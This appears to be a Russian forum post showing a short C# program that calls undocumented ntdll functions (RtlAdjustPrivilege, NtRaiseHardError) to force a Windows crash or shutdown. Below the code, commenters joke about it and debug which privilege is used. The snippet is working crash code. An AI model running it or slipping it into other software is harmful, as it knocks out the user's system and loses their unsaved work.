- 01
- 02
- 03
- 04
- 05
- 06
- 07
- 08
- 09
- 10
- 11
- 12
- 13
- 14
- 15
- 16
- 17
- 18
- 19
- 20
- 21
- 22
- 23
using JINN=System;
namespace SiniyShaman
{
class PrizivSinegoDemona
{
[JINN.Runtime.InteropServices.DllImport("ntdll.dll")]
public static extern uint RtlAdjustPrivilege(int Privilege,bool bEnablePrivilege,bool IsThreadPrivilege,out bool PreviousValue);
[JINN.Runtime.InteropServices.DllImport("ntdll.dll")]
public static extern uint NtRaiseHardError(uint ErrorStatus,uint NumberOfParameters,uint UnicodeStringParameterMask,JINN.IntPtr Parameters,uint ValidResponseOption,out uint Response);
[JINN.STAThread]
static unsafe void Main(string[]args)
{
JINN.Runtime.InteropServices.Marshal.PrelinkAll(typeof(PrizivSinegoDemona));
JINN.Boolean t1;
uint t2;
RtlAdjustPrivilege(19,true,false,out t1);
NtRaiseHardError(0xc0000022,0,0,JINN.IntPtr.Zero,6,out t2);
}
}
}
Волшебства не бывает говорили они... В армию уже походу не возьмут %)
j123123 29.11.2020 04:42 # +2
MAKAKA 11.03.2021 18:48 # 0
Или там есть спец привилегия типа как у TCB (та самая 19-я, кстати у нее есть имя?), но разве винда ее даст?
bormand 11.03.2021 19:00 # 0
З.Ы. Хотя 19 -- debug. Кому верить -- хрен знает.
MAKAKA 11.03.2021 19:03 # 0
А, стоп
Пишут, что это не BSOD никакой, а какое-то говносообщение через LPC в CSRSS, и он в ответ message box кажет
Тогда где тут синий джин/
bormand 11.03.2021 19:05 # 0
MAKAKA 11.03.2021 19:10 # 0
Но я могу быть не прав
bormand 12.03.2021 14:48 # 0
А в документированном API рекомендуется получать циферку (luid) по имени привилегии (SE_SHUTDOWN_NAME), а не хардкодить. Интересно нафига, если они всё равно захардкожены в нижнем слое.
У MS как всегда джва API -- для себя и для остальных.
bormand 12.03.2021 15:03 # 0
Какой багор )))